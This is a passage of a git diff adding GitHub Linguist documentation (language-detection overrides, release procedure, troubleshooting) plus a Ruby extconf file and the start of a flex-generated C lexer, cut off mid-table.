+
+Use the `linguist-detectable` attribute to mark or unmark paths as detectable:
+
+```gitattributes
+*.kicad_pcb linguist-detectable
+*.sch linguist-detectable
+tools/export_bom.py -linguist-detectable
+```
+
+### Documentation
+
+Just like vendored files, Linguist excludes documentation files from your project's language stats.
+[`documentation.yml`] lists common documentation paths and excludes them from the language statistics for your repository.
+
+Use the `linguist-documentation` attribute to mark or unmark paths as documentation:
+
+```gitattributes
+# Apply override to all files in the directory
+project-docs/* linguist-documentation
+# Apply override to a specific file
+docs/formatter.rb -linguist-documentation
+# Apply override to all files and directories in the directory
+ano-dir/** linguist-documentation
+```
+
+### Generated code
+
+Not all plain text files are true source files.
+Generated files like minified JavaScript and compiled CoffeeScript can be detected and excluded from language stats.
+As an added bonus, unlike vendored and documentation files, these files are suppressed in diffs.
+[`generated.rb`] lists common generated paths and excludes them from the language statistics of your repository.
+
+Use the `linguist-generated` attribute to mark or unmark paths as generated.
+
+```gitattributes
+Api.elm linguist-generated
+```
+
+### Vendored code
+
+Checking code you didn't write, such as JavaScript libraries, into your git repo is a common practice, but this often inflates your project's language stats and may even cause your project to be labeled as another language.
+By default, Linguist treats all of the paths defined in [`vendor.yml`] as vendored and therefore doesn't include them in the language statistics for a repository.
+
+Use the `linguist-vendored` attribute to vendor or un-vendor paths:
+
+```gitattributes
+# Apply override to all files in the directory
+special-vendored-path/* linguist-vendored
+# Apply override to a specific file
+jquery.js -linguist-vendored
+# Apply override to all files and directories in the directory
+ano-dir/** linguist-vendored
+```
+
+## Using Emacs or Vim modelines
+
+If you do not want to use `.gitattributes` to override the syntax highlighting used on GitHub.com, you can use Vim or Emacs style modelines to set the language for a single file.
+Modelines can be placed anywhere within a file and are respected when determining how to syntax-highlight a file on GitHub.com
+
+### Vim
+```
+# Some examples of various styles:
+vim: syntax=java
+vim: set syntax=ruby:
+vim: set filetype=prolog:
+vim: set ft=cpp:
+```
+
+### Emacs
+```
+-*- mode: php; -*-
+-*- c++ -*-
+```
+
+[`documentation.yml`]: /lib/linguist/documentation.yml
+[`languages.yml`]:     /lib/linguist/languages.yml
+[`generated.rb`]:      /lib/linguist/generated.rb
+[`vendor.yml`]:        /lib/linguist/vendor.yml
diff --git a/docs/releasing.md b/docs/releasing.md
new file mode 100644
index 0000000000..5c65393a9c
--- /dev/null
+++ b/docs/releasing.md
@@ -0,0 +1,39 @@
+# Releasing
+
+This is the procedure for making a new release of Linguist. The entire process needs to be performed by a member of GitHub staff.
+
+1. Create a branch for the release: `git checkout -b release-vxx.xx.xx`
+2. Make sure your local dependencies are up to date: `rm Gemfile.lock && script/bootstrap`
+3. If the grammar submodules have not been updated recently, update them: `git submodule update --remote`.
+   If any submodules are updated:
+    1. update the `grammars.yml`: `script/grammar-compiler update -f`
+    2. confirm the updated grammars still compile and no new errors have been introduced and none have gone missing: `bundle exec rake check_grammars`
+    3. verify and fix any problems identified above
+    4. commit all changes: `git commit -a`
+    5. update the license cache: `bundle exec licensed cache -c vendor/licenses/config.yml`
+    6. double check no license problems found: `bundle exec licensed status -c vendor/licenses/config.yml`
+    7. verify and fix any problems identified above
+    8. commit all changes: `git commit -a`
+4. Ensure that samples are updated: `bundle exec rake samples`
+5. Ensure that tests are green: `bundle exec rake test`
+6. Build a test gem `GEM_VERSION=$(git describe --tags 2>/dev/null | sed 's/-/./g' | sed 's/v//') bundle exec rake build_gem`
+7. Test the test gem:
+   1. Bump the Gemfile and Gemfile.lock versions for an app which relies on this gem
+   2. Install the new gem locally
+   3. Test behavior locally, branch deploy, whatever needs to happen
+8. Bump gem version in `lib/linguist/VERSION`, [like this](https://github.com/github/linguist/commit/3212355400974ce5f7873a71eb8b85b1c5f4a6d2).
+9. Make a PR to `github/linguist`, [like this](https://github.com/github/linguist/pull/5084).
+10. Build a local gem: `bundle exec rake build_gem`
+11. Merge the `github/linguist` PR
+12. Tag and push: `git tag vx.xx.xx; git push --tags`
+13. Create a GitHub release with the pushed tag (https://github.com/github/linguist/releases/new) and populate it using the "Generate release notes" button.
+14. Build a grammars tarball (`./script/build-grammars-tarball`) and attach it to the GitHub release
+15. Push to rubygems.pkg.github.com -- `gem push --key github --host https://rubygems.pkg.github.com/github github-linguist-3.0.0.gem`. See [Working with the RubyGems registry][gpr] for more details.
+16. Push to rubygems.org -- `gem push github-linguist-3.0.0.gem`
+17. Update and deploy the following repositories to use the new gem in production:
+    - `github/github` - if backporting, label for backporting to the latest version of GitHub Enterprise Server only.
+    - `github/treelights` - this only needs the Linguist version updated to pull the compiled grammars from the Linguist release. If backporting, label for backporting to the latest version of GitHub Enterprise Server only.
+
+    Note: syntax highlighting changes won't take effect until the updated `github/treelights` repo has been deployed.
+
+[gpr]: https://docs.github.com/en/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry
diff --git a/docs/troubleshooting.md b/docs/troubleshooting.md
new file mode 100644
index 0000000000..d55645555d
--- /dev/null
+++ b/docs/troubleshooting.md
@@ -0,0 +1,82 @@
+# Troubleshooting
+
+## My repository is detected as the wrong language
+
+If the language stats bar is reporting a language that you don't expect:
+
+1. Click on the name of the language in the stats bar to see a list of the files that are identified as that language.
+   Keep in mind this performs a search so the [code search restrictions][search-limits] may result in files identified in the language statistics not appearing in the search results.
+   [Installing Linguist locally](/README.md/#installation) and running it from the [command line](/README.md#command-line-usage) will give you accurate results.
+2. If you see files that you didn't write in the search results, consider moving the files into one of the [paths for vendored code](/lib/linguist/vendor.yml), or use the [manual overrides](/docs/overrides.md) feature to ignore them.
+3. If the files are misclassified, search for [open issues](https://github.com/github/linguist/issues) to see if anyone else has already reported the issue.
+   Any information you can add, especially links to public repositories, is helpful.
+   You can also use the [manual overrides](/docs/overrides.md) feature to correctly classify them in your repository.
+4. If there are no reported issues of this misclassification, [open an issue](https://github.com/github/linguist/issues/new) and include a link to the repository or a sample of the code that is being misclassified.
+
+[search-limits]: https://docs.github.com/github/searching-for-information-on-github/searching-code#considerations-for-code-search
+
+Keep in mind that the repository language stats are only [updated when you push changes](how-linguist-works.md#how-linguist-works-on-githubcom), and the results are cached for the lifetime of your repository.
+If you have not made any changes to your repository in a while, you may find pushing another change will correct the stats.
+
+## When I click on a language present in the language stats bar, I get a message saying "Your search did not match any code"
+
+There are a few reasons that could lead to this outcome:
+
+1. If the repository implements an override via the `linguist-language` attribute, it won't be taken into account in GitHub's search results since GitHub Search relies on [go-enry](https://github.com/go-enry/go-enry) which doesn't support overrides at the moment ([More info](https://github.com/src-d/enry/issues/18)).
+2. go-enry might not be using the latest version of Linguist which means that files could be detected differently in search compared to Linguist (see also the note at the end of [this section](#my-linguist-pr-has-been-merged-but-github-doesnt-reflect-my-changes)).
+3. It could be that files are associated to a language that is part of a group. This means that they are counted as the parent language in the language stats bar, but as the actual language in search. For instance, a file ending with `.f90` is considered to be  "Fortran" in the stats bar, but "Fortran Free Form" in search.
+4. Finally, this can be caused by [code search limitations](https://docs.github.com/en/search-github/github-code-search/about-github-code-search#limitations) that are unrelated to Linguist.
+
+## My C/C++/Objective-C `.h` header file is detected as the wrong language
+
+Correctly detecting the language for the C-family `.h` header files is tough because Linguist detects the languages of files in isolation when analysing repositories and these header files, especially the smaller ones, can be used across all three languages without using any language-specific content.
+To try and reduce the number of false positives and keep some degree of predictability for users, Linguist will assume all `.h` header files are C by default and will only identify a file as C++ or Objective-C if the content matches the specific heuristic for that language.
+This will mean you will need to implement an [override](/docs/overrides.md) for some of your header files if you wish for them to be classified as C++ or Objective-C if they do not contain language-specific content.
+
+## My repository isn't showing my language
+
+Linguist does not consider [vendored code](/docs/overrides.md#vendored-code), [generated code](/docs/overrides.md#generated-code), [documentation](/docs/overrides.md#documentation), or `data` (e.g. SQL) or `prose` (e.g. Markdown) languages (as defined by the `type` attribute in [`languages.yml`](/lib/linguist/languages.yml)) when calculating the repository language statistics.
+
+If the language statistics bar is not showing your language at all, it could be for a few reasons:
+
+1. Linguist doesn't know about your language.
+2. The extension you have chosen is not associated with your language in [`languages.yml`](/lib/linguist/languages.yml).
+3. All the files in your repository fall into one of the categories listed above that Linguist excludes by default.
+
+If Linguist doesn't know about the language or the extension you're using, consider [contributing](/CONTRIBUTING.md) to Linguist by opening a pull request to add support for your language or extension.
+For everything else, you can use the [manual overrides](/docs/overrides.md) feature to tell Linguist to include your files in the language statistics.
+
+## There's a problem with the syntax highlighting of a file
+
+Linguist detects the language of a file but the actual syntax-highlighting is powered by a set of language grammars which are included in this project as a set of submodules [as listed here](/vendor/README.md).
+
+If you experience an issue with the syntax-highlighting on GitHub, **please report the issue to the upstream grammar repository, not here.**
+Grammars are updated every time we build the Linguist gem so upstream bug fixes are automatically incorporated as they are fixed.
+
+## I get an error when using Linguist on a directory that is not a Git repository
+
+Linguist only works on Git repositories and individual files. Its primary use is on GitHub.com which uses bare
+repositories and thus changes need to be committed as individual files don't show on the filesystem.
+
+As a work around you could initialise a temporary Git repository in your directory as demonstrated in this
+[script](https://gist.github.com/PuZZleDucK/a45fd1fac3758235ffed9fe0e8aab643).
+
+Alternatively you can run Linguist on individual files, see [here](/README.md#single-file).
+
+## I am unable to install Linguist on macOS
+
+There are several known issues with the version of Ruby shipped with macOS that cause problems when it comes to installing the charlock-holmes gem which is a Linguist dependency.
+As this is a problem with the Ruby shipped by Apple and not Linguist or charlock-holmes, we recommend you install a version of Ruby using Homebrew, `rbenv`, `rvm`, `ruby-build`, `asdf` or other packaging system, before attempting to install Linguist.
+
+## My Linguist PR has been merged but GitHub doesn't reflect my changes
+
+Changes to Linguist will only appear on GitHub when a new Linguist release is made and this is deployed to GitHub.com.
+There is no set release timeframe, but the intention is at least once every three-to-four months so the latest version ships with each new major version of GitHub Enterprise Server.
+A PR like [this](https://github.com/github/linguist/pull/6051) will be created for the release with checkmarks for each stage of the release process.
+
+All syntax highlighting grammars will also be updated in all major and minor releases.
+Grammars will only be updated in patch releases if the patch release is specifically for that language and it requires a grammar update to address the issue.
+
+Note: New languages will not appear in GitHub's search results for some time after the pull request has been merged and the new Linguist release deployed to GitHub.com.
+This is because GitHub's search uses [go-enry](https://github.com/go-enry/go-enry) for language detection which tends to lag behind Linguist by a few weeks to months.
+This in turn requires an update to the underlying search code once go-enry is inline with Linguist.
diff --git a/ext/linguist/extconf.rb b/ext/linguist/extconf.rb
new file mode 100644
index 0000000000..d1f5095cd2
--- /dev/null
+++ b/ext/linguist/extconf.rb
@@ -0,0 +1,3 @@
+require 'mkmf'
+dir_config('linguist')
+create_makefile('linguist/linguist')
diff --git a/ext/linguist/lex.linguist_yy.c b/ext/linguist/lex.linguist_yy.c
new file mode 100644
index 0000000000..444ea43e6e
--- /dev/null
+++ b/ext/linguist/lex.linguist_yy.c
@@ -0,0 +1,2828 @@
+
+#line 3 "lex.linguist_yy.c"
+
+#define  YY_INT_ALIGNED short int
+
+/* A lexical scanner generated by flex */
+
+#define FLEX_SCANNER
+#define YY_FLEX_MAJOR_VERSION 2
+#define YY_FLEX_MINOR_VERSION 6
+#define YY_FLEX_SUBMINOR_VERSION 4
+#if YY_FLEX_SUBMINOR_VERSION > 0
+#define FLEX_BETA
+#endif
+
+#ifdef yy_create_buffer
+#define linguist_yy_create_buffer_ALREADY_DEFINED
+#else
+#define yy_create_buffer linguist_yy_create_buffer
+#endif
+
+#ifdef yy_delete_buffer
+#define linguist_yy_delete_buffer_ALREADY_DEFINED
+#else
+#define yy_delete_buffer linguist_yy_delete_buffer
+#endif
+
+#ifdef yy_scan_buffer
+#define linguist_yy_scan_buffer_ALREADY_DEFINED
+#else
+#define yy_scan_buffer linguist_yy_scan_buffer
+#endif
+
+#ifdef yy_scan_string
+#define linguist_yy_scan_string_ALREADY_DEFINED
+#else
+#define yy_scan_string linguist_yy_scan_string
+#endif
+
+#ifdef yy_scan_bytes
+#define linguist_yy_scan_bytes_ALREADY_DEFINED
+#else
+#define yy_scan_bytes linguist_yy_scan_bytes
+#endif
+
+#ifdef yy_init_buffer
+#define linguist_yy_init_buffer_ALREADY_DEFINED
+#else
+#define yy_init_buffer linguist_yy_init_buffer
+#endif
+
+#ifdef yy_flush_buffer
+#define linguist_yy_flush_buffer_ALREADY_DEFINED
+#else
+#define yy_flush_buffer linguist_yy_flush_buffer
+#endif
+
+#ifdef yy_load_buffer_state
+#define linguist_yy_load_buffer_state_ALREADY_DEFINED
+#else
+#define yy_load_buffer_state linguist_yy_load_buffer_state
+#endif
+
+#ifdef yy_switch_to_buffer
+#define linguist_yy_switch_to_buffer_ALREADY_DEFINED
+#else
+#define yy_switch_to_buffer linguist_yy_switch_to_buffer
+#endif
+
+#ifdef yypush_buffer_state
+#define linguist_yypush_buffer_state_ALREADY_DEFINED
+#else
+#define yypush_buffer_state linguist_yypush_buffer_state
+#endif
+
+#ifdef yypop_buffer_state
+#define linguist_yypop_buffer_state_ALREADY_DEFINED
+#else
+#define yypop_buffer_state linguist_yypop_buffer_state
+#endif
+
+#ifdef yyensure_buffer_stack
+#define linguist_yyensure_buffer_stack_ALREADY_DEFINED
+#else
+#define yyensure_buffer_stack linguist_yyensure_buffer_stack
+#endif
+
+#ifdef yylex
+#define linguist_yylex_ALREADY_DEFINED
+#else
+#define yylex linguist_yylex
+#endif
+
+#ifdef yyrestart
+#define linguist_yyrestart_ALREADY_DEFINED
+#else
+#define yyrestart linguist_yyrestart
+#endif
+
+#ifdef yylex_init
+#define linguist_yylex_init_ALREADY_DEFINED
+#else
+#define yylex_init linguist_yylex_init
+#endif
+
+#ifdef yylex_init_extra
+#define linguist_yylex_init_extra_ALREADY_DEFINED
+#else
+#define yylex_init_extra linguist_yylex_init_extra
+#endif
+
+#ifdef yylex_destroy
+#define linguist_yylex_destroy_ALREADY_DEFINED
+#else
+#define yylex_destroy linguist_yylex_destroy
+#endif
+
+#ifdef yyget_debug
+#define linguist_yyget_debug_ALREADY_DEFINED
+#else
+#define yyget_debug linguist_yyget_debug
+#endif
+
+#ifdef yyset_debug
+#define linguist_yyset_debug_ALREADY_DEFINED
+#else
+#define yyset_debug linguist_yyset_debug
+#endif
+
+#ifdef yyget_extra
+#define linguist_yyget_extra_ALREADY_DEFINED
+#else
+#define yyget_extra linguist_yyget_extra
+#endif
+
+#ifdef yyset_extra
+#define linguist_yyset_extra_ALREADY_DEFINED
+#else
+#define yyset_extra linguist_yyset_extra
+#endif
+
+#ifdef yyget_in
+#define linguist_yyget_in_ALREADY_DEFINED
+#else
+#define yyget_in linguist_yyget_in
+#endif
+
+#ifdef yyset_in
+#define linguist_yyset_in_ALREADY_DEFINED
+#else
+#define yyset_in linguist_yyset_in
+#endif
+
+#ifdef yyget_out
+#define linguist_yyget_out_ALREADY_DEFINED
+#else
+#define yyget_out linguist_yyget_out
+#endif
+
+#ifdef yyset_out
+#define linguist_yyset_out_ALREADY_DEFINED
+#else
+#define yyset_out linguist_yyset_out
+#endif
+
+#ifdef yyget_leng
+#define linguist_yyget_leng_ALREADY_DEFINED
+#else
+#define yyget_leng linguist_yyget_leng
+#endif
+
+#ifdef yyget_text
+#define linguist_yyget_text_ALREADY_DEFINED
+#else
+#define yyget_text linguist_yyget_text
+#endif
+
+#ifdef yyget_lineno
+#define linguist_yyget_lineno_ALREADY_DEFINED
+#else
+#define yyget_lineno linguist_yyget_lineno
+#endif
+
+#ifdef yyset_lineno
+#define linguist_yyset_lineno_ALREADY_DEFINED
+#else
+#define yyset_lineno linguist_yyset_lineno
+#endif
+
+#ifdef yyget_column
+#define linguist_yyget_column_ALREADY_DEFINED
+#else
+#define yyget_column linguist_yyget_column
+#endif
+
+#ifdef yyset_column
+#define linguist_yyset_column_ALREADY_DEFINED
+#else
+#define yyset_column linguist_yyset_column
+#endif
+
+#ifdef yywrap
+#define linguist_yywrap_ALREADY_DEFINED
+#else
+#define yywrap linguist_yywrap
+#endif
+
+#ifdef yyalloc
+#define linguist_yyalloc_ALREADY_DEFINED
+#else
+#define yyalloc linguist_yyalloc
+#endif
+
+#ifdef yyrealloc
+#define linguist_yyrealloc_ALREADY_DEFINED
+#else
+#define yyrealloc linguist_yyrealloc
+#endif
+
+#ifdef yyfree
+#define linguist_yyfree_ALREADY_DEFINED
+#else
+#define yyfree linguist_yyfree
+#endif
+
+/* First, we deal with  platform-specific or compiler-specific issues. */
+
+/* begin standard C headers. */
+#include <stdio.h>
+#include <string.h>
+#include <errno.h>
+#include <stdlib.h>
+
+/* end standard C headers. */
+
+/* flex integer type definitions */
+
+#ifndef FLEXINT_H
+#define FLEXINT_H
+
+/* C99 systems have <inttypes.h>. Non-C99 systems may or may not. */
+
+#if defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L
+
+/* C99 says to define __STDC_LIMIT_MACROS before including stdint.h,
+ * if you want the limit (max/min) macros for int types. 
+ */
+#ifndef __STDC_LIMIT_MACROS
+#define __STDC_LIMIT_MACROS 1
+#endif
+
+#include <inttypes.h>
+typedef int8_t flex_int8_t;
+typedef uint8_t flex_uint8_t;
+typedef int16_t flex_int16_t;
+typedef uint16_t flex_uint16_t;
+typedef int32_t flex_int32_t;
+typedef uint32_t flex_uint32_t;
+#else
+typedef signed char flex_int8_t;
+typedef short int flex_int16_t;
+typedef int flex_int32_t;
+typedef unsigned char flex_uint8_t; 
+typedef unsigned short int flex_uint16_t;
+typedef unsigned int flex_uint32_t;
+
+/* Limits of integral types. */
+#ifndef INT8_MIN
+#define INT8_MIN               (-128)
+#endif
+#ifndef INT16_MIN
+#define INT16_MIN              (-32767-1)
+#endif
+#ifndef INT32_MIN
+#define INT32_MIN              (-2147483647-1)
+#endif
+#ifndef INT8_MAX
+#define INT8_MAX               (127)
+#endif
+#ifndef INT16_MAX
+#define INT16_MAX              (32767)
+#endif
+#ifndef INT32_MAX
+#define INT32_MAX              (2147483647)
+#endif
+#ifndef UINT8_MAX
+#define UINT8_MAX              (255U)
+#endif
+#ifndef UINT16_MAX
+#define UINT16_MAX             (65535U)
+#endif
+#ifndef UINT32_MAX
+#define UINT32_MAX             (4294967295U)
+#endif
+
+#ifndef SIZE_MAX
+#define SIZE_MAX               (~(size_t)0)
+#endif
+
+#endif /* ! C99 */
+
+#endif /* ! FLEXINT_H */
+
+/* begin standard C++ headers. */
+
+/* TODO: this is always defined, so inline it */
+#define yyconst const
+
+#if defined(__GNUC__) && __GNUC__ >= 3
+#define yynoreturn __attribute__((__noreturn__))
+#else
+#define yynoreturn
+#endif
+
+/* Returned upon end-of-file. */
+#define YY_NULL 0
+
+/* Promotes a possibly negative, possibly signed char to an
+ *   integer in range [0..255] for use as an array index.
+ */
+#define YY_SC_TO_UI(c) ((YY_CHAR) (c))
+
+/* An opaque pointer. */
+#ifndef YY_TYPEDEF_YY_SCANNER_T
+#define YY_TYPEDEF_YY_SCANNER_T
+typedef void* yyscan_t;
+#endif
+
+/* For convenience, these vars (plus the bison vars far below)
+   are macros in the reentrant scanner. */
+#define yyin yyg->yyin_r
+#define yyout yyg->yyout_r
+#define yyextra yyg->yyextra_r
+#define yyleng yyg->yyleng_r
+#define yytext yyg->yytext_r
+#define yylineno (YY_CURRENT_BUFFER_LVALUE->yy_bs_lineno)
+#define yycolumn (YY_CURRENT_BUFFER_LVALUE->yy_bs_column)
+#define yy_flex_debug yyg->yy_flex_debug_r
+
+/* Enter a start condition.  This macro really ought to take a parameter,
+ * but we do it the disgusting crufty way forced on us by the ()-less
+ * definition of BEGIN.
+ */
+#define BEGIN yyg->yy_start = 1 + 2 *
+/* Translate the current start state into a value that can be later handed
+ * to BEGIN to return to the state.  The YYSTATE alias is for lex
+ * compatibility.
+ */
+#define YY_START ((yyg->yy_start - 1) / 2)
+#define YYSTATE YY_START
+/* Action number for EOF rule of a given start state. */
+#define YY_STATE_EOF(state) (YY_END_OF_BUFFER + state + 1)
+/* Special action meaning "start processing a new file". */
+#define YY_NEW_FILE yyrestart( yyin , yyscanner )
+#define YY_END_OF_BUFFER_CHAR 0
+
+/* Size of default input buffer. */
+#ifndef YY_BUF_SIZE
+#ifdef __ia64__
+/* On IA-64, the buffer size is 16k, not 8k.
+ * Moreover, YY_BUF_SIZE is 2*YY_READ_BUF_SIZE in the general case.
+ * Ditto for the __ia64__ case accordingly.
+ */
+#define YY_BUF_SIZE 32768
+#else
+#define YY_BUF_SIZE 16384
+#endif /* __ia64__ */
+#endif
+
+/* The state buf must be large enough to hold one state per character in the main buffer.
+ */
+#define YY_STATE_BUF_SIZE   ((YY_BUF_SIZE + 2) * sizeof(yy_state_type))
+
+#ifndef YY_TYPEDEF_YY_BUFFER_STATE
+#define YY_TYPEDEF_YY_BUFFER_STATE
+typedef struct yy_buffer_state *YY_BUFFER_STATE;
+#endif
+
+#ifndef YY_TYPEDEF_YY_SIZE_T
+#define YY_TYPEDEF_YY_SIZE_T
+typedef size_t yy_size_t;
+#endif
+
+#define EOB_ACT_CONTINUE_SCAN 0
+#define EOB_ACT_END_OF_FILE 1
+#define EOB_ACT_LAST_MATCH 2
+    
+    #define YY_LESS_LINENO(n)
+    #define YY_LINENO_REWIND_TO(ptr)
+    
+/* Return all but the first "n" matched characters back to the input stream. */
+#define yyless(n) \
+	do \
+		{ \
+		/* Undo effects of setting up yytext. */ \
+        int yyless_macro_arg = (n); \
+        YY_LESS_LINENO(yyless_macro_arg);\
+		*yy_cp = yyg->yy_hold_char; \
+		YY_RESTORE_YY_MORE_OFFSET \
+		yyg->yy_c_buf_p = yy_cp = yy_bp + yyless_macro_arg - YY_MORE_ADJ; \
+		YY_DO_BEFORE_ACTION; /* set up yytext again */ \
+		} \
+	while ( 0 )
+#define unput(c) yyunput( c, yyg->yytext_ptr , yyscanner )
+
+#ifndef YY_STRUCT_YY_BUFFER_STATE
+#define YY_STRUCT_YY_BUFFER_STATE
+struct yy_buffer_state
+	{
+	FILE *yy_input_file;
+
+	char *yy_ch_buf;		/* input buffer */
+	char *yy_buf_pos;		/* current position in input buffer */
+
+	/* Size of input buffer in bytes, not including room for EOB
+	 * characters.
+	 */
+	int yy_buf_size;
+
+	/* Number of characters read into yy_ch_buf, not including EOB
+	 * characters.
+	 */
+	int yy_n_chars;
+
+	/* Whether we "own" the buffer - i.e., we know we created it,
+	 * and can realloc() it to grow it, and should free() it to
+	 * delete it.
+	 */
+	int yy_is_our_buffer;
+
+	/* Whether this is an "interactive" input source; if so, and
+	 * if we're using stdio for input, then we want to use getc()
+	 * instead of fread(), to make sure we stop fetching input after
+	 * each newline.
+	 */
+	int yy_is_interactive;
+
+	/* Whether we're considered to be at the beginning of a line.
+	 * If so, '^' rules will be active on the next match, otherwise
+	 * not.
+	 */
+	int yy_at_bol;
+
+    int yy_bs_lineno; /**< The line count. */
+    int yy_bs_column; /**< The column count. */
+
+	/* Whether to try to fill the input buffer when we reach the
+	 * end of it.
+	 */
+	int yy_fill_buffer;
+
+	int yy_buffer_status;
+
+#define YY_BUFFER_NEW 0
+#define YY_BUFFER_NORMAL 1
+	/* When an EOF's been seen but there's still some text to process
+	 * then we mark the buffer as YY_EOF_PENDING, to indicate that we
+	 * shouldn't try reading from the input source any more.  We might
+	 * still have a bunch of tokens to match, though, because of
+	 * possible backing-up.
+	 *
+	 * When we actually see the EOF, we change the status to "new"
+	 * (via yyrestart()), so that the user can continue scanning by
+	 * just pointing yyin at a new input file.
+	 */
+#define YY_BUFFER_EOF_PENDING 2
+
+	};
+#endif /* !YY_STRUCT_YY_BUFFER_STATE */
+
+/* We provide macros for accessing buffer states in case in the
+ * future we want to put the buffer states in a more general
+ * "scanner state".
+ *
+ * Returns the top of the stack, or NULL.
+ */
+#define YY_CURRENT_BUFFER ( yyg->yy_buffer_stack \
+                          ? yyg->yy_buffer_stack[yyg->yy_buffer_stack_top] \
+                          : NULL)
+/* Same as previous macro, but useful when we know that the buffer stack is not
+ * NULL or when we need an lvalue. For internal use only.
+ */
+#define YY_CURRENT_BUFFER_LVALUE yyg->yy_buffer_stack[yyg->yy_buffer_stack_top]
+
+void yyrestart ( FILE *input_file , yyscan_t yyscanner );
+void yy_switch_to_buffer ( YY_BUFFER_STATE new_buffer , yyscan_t yyscanner );
+YY_BUFFER_STATE yy_create_buffer ( FILE *file, int size , yyscan_t yyscanner );
+void yy_delete_buffer ( YY_BUFFER_STATE b , yyscan_t yyscanner );
+void yy_flush_buffer ( YY_BUFFER_STATE b , yyscan_t yyscanner );
+void yypush_buffer_state ( YY_BUFFER_STATE new_buffer , yyscan_t yyscanner );
+void yypop_buffer_state ( yyscan_t yyscanner );
+
+static void yyensure_buffer_stack ( yyscan_t yyscanner );
+static void yy_load_buffer_state ( yyscan_t yyscanner );
+static void yy_init_buffer ( YY_BUFFER_STATE b, FILE *file , yyscan_t yyscanner );
+#define YY_FLUSH_BUFFER yy_flush_buffer( YY_CURRENT_BUFFER , yyscanner)
+
+YY_BUFFER_STATE yy_scan_buffer ( char *base, yy_size_t size , yyscan_t yyscanner );
+YY_BUFFER_STATE yy_scan_string ( const char *yy_str , yyscan_t yyscanner );
+YY_BUFFER_STATE yy_scan_bytes ( const char *bytes, int len , yyscan_t yyscanner );
+
+void *yyalloc ( yy_size_t , yyscan_t yyscanner );
+void *yyrealloc ( void *, yy_size_t , yyscan_t yyscanner );
+void yyfree ( void * , yyscan_t yyscanner );
+
+#define yy_new_buffer yy_create_buffer
+#define yy_set_interactive(is_interactive) \
+	{ \
+	if ( ! YY_CURRENT_BUFFER ){ \
+        yyensure_buffer_stack (yyscanner); \
+		YY_CURRENT_BUFFER_LVALUE =    \
+            yy_create_buffer( yyin, YY_BUF_SIZE , yyscanner); \
+	} \
+	YY_CURRENT_BUFFER_LVALUE->yy_is_interactive = is_interactive; \
+	}
+#define yy_set_bol(at_bol) \
+	{ \
+	if ( ! YY_CURRENT_BUFFER ){\
+        yyensure_buffer_stack (yyscanner); \
+		YY_CURRENT_BUFFER_LVALUE =    \
+            yy_create_buffer( yyin, YY_BUF_SIZE , yyscanner); \
+	} \
+	YY_CURRENT_BUFFER_LVALUE->yy_at_bol = at_bol; \
+	}
+#define YY_AT_BOL() (YY_CURRENT_BUFFER_LVALUE->yy_at_bol)
+
+/* Begin user sect3 */
+typedef flex_uint8_t YY_CHAR;
+
+typedef int yy_state_type;
+
+#define yytext_ptr yytext_r
+
+static yy_state_type yy_get_previous_state ( yyscan_t yyscanner );
+static yy_state_type yy_try_NUL_trans ( yy_state_type current_state  , yyscan_t yyscanner);
+static int yy_get_next_buffer ( yyscan_t yyscanner );
+static void yynoreturn yy_fatal_error ( const char* msg , yyscan_t yyscanner );
+
+/* Done after the current pattern has been matched and before the
+ * corresponding action - sets up yytext.
+ */
+#define YY_DO_BEFORE_ACTION \
+	yyg->yytext_ptr = yy_bp; \
+	yyleng = (int) (yy_cp - yy_bp); \
+	yyg->yy_hold_char = *yy_cp; \
+	*yy_cp = '\0'; \
+	yyg->yy_c_buf_p = yy_cp;
+#define YY_NUM_RULES 82
+#define YY_END_OF_BUFFER 83
+/* This struct is not used in this scanner,
+   but its presence is necessary. */
+struct yy_trans_info
+	{
+	flex_int32_t yy_verify;
+	flex_int32_t yy_nxt;
+	};
+static const flex_int16_t yy_accept[261] =
+    {   0,
+        0,    0,    0,    0,    0,    0,    0,    0,    0,    0,
+        0,    0,    0,    0,    0,    0,    0,    0,   83,   81,
+       63,   35,   64,   65,   66,   67,   36,   42,   42,   68,
+       69,   70,   62,   71,   55,   37,   37,   72,   73,   55,
+       52,   55,   74,   75,   38,   44,   76,   44,   77,   78,
+       43,   79,   43,   80,   81,   35,   64,   65,   66,   36,
+       62,   71,   55,   73,   25,   25,   25,   25,   25,   25,
+       25,   25,   25,   63,   51,   54,   57,   34,   64,   38,
+       65,   45,    0,   45,   66,   56,   67,   47,   48,   34,
+       42,   39,   19,    0,    0,   42,   68,   69,   70,   62,
+
+       49,   59,   60,   71,   16,   24,   55,   37,   37,   38,
+       37,   37,   38,   58,   72,   73,   53,   53,   47,   50,
+       55,   55,   52,   55,   52,   47,   74,   75,    0,   44,
+       41,   76,   44,   77,   78,   18,    0,   43,   40,   79,
+       43,   80,    0,    0,    0,    0,    0,    0,    0,    8,
+        8,    3,    3,    0,   64,    0,    7,    7,   66,    0,
+        0,   62,    0,    0,   38,    5,    9,    9,   73,   26,
+        0,   28,   29,    0,    0,    0,   33,   20,   45,   21,
+        0,   61,   59,   60,   15,   14,   23,    0,   37,   37,
+       37,   37,   37,    0,    0,    0,    0,    5,    8,    3,
+
+        0,    2,    0,    2,    2,   12,    7,   11,    6,    6,
+       10,   38,    5,    5,    5,    5,    9,   27,   30,   31,
+       32,    0,   13,   37,   37,   37,   37,   37,   37,   37,
+       17,    0,    0,    0,    2,   12,   12,   11,   11,    6,
+       10,   10,   22,    4,    4,   46,   37,   37,   37,    0,
+        2,    4,    0,    0,    0,    0,    0,    1,    0,    0
+    } ;
+
+static const YY_CHAR yy_ec[256] =
+    {   0,
+        1,    1,    1,    1,    1,    1,    1,    1,    2,    3,
+        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,
+        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,
+        1,    4,    5,    6,    7,    8,    9,   10,   11,   12,
+       13,   14,   15,   16,   17,   18,   19,   20,   21,   21,
+       21,   21,   21,   21,   21,   21,   21,   22,   23,   24,
+       25,   26,   27,   28,   29,   29,   29,   29,   30,   31,
+       32,   32,   32,   32,   32,   33,   32,   32,   32,   32,
+       32,   32,   32,   32,   34,   32,   32,   32,   32,   32,
+       35,   36,   37,   38,   32,   39,   29,   29,   29,   29,
+
+       40,   31,   41,   32,   42,   32,   32,   33,   32,   43,
+       32,   32,   32,   32,   32,   32,   34,   44,   32,   45,
+       32,   32,   46,   47,   48,   49,    1,    1,    1,    1,
+        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,
+        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,
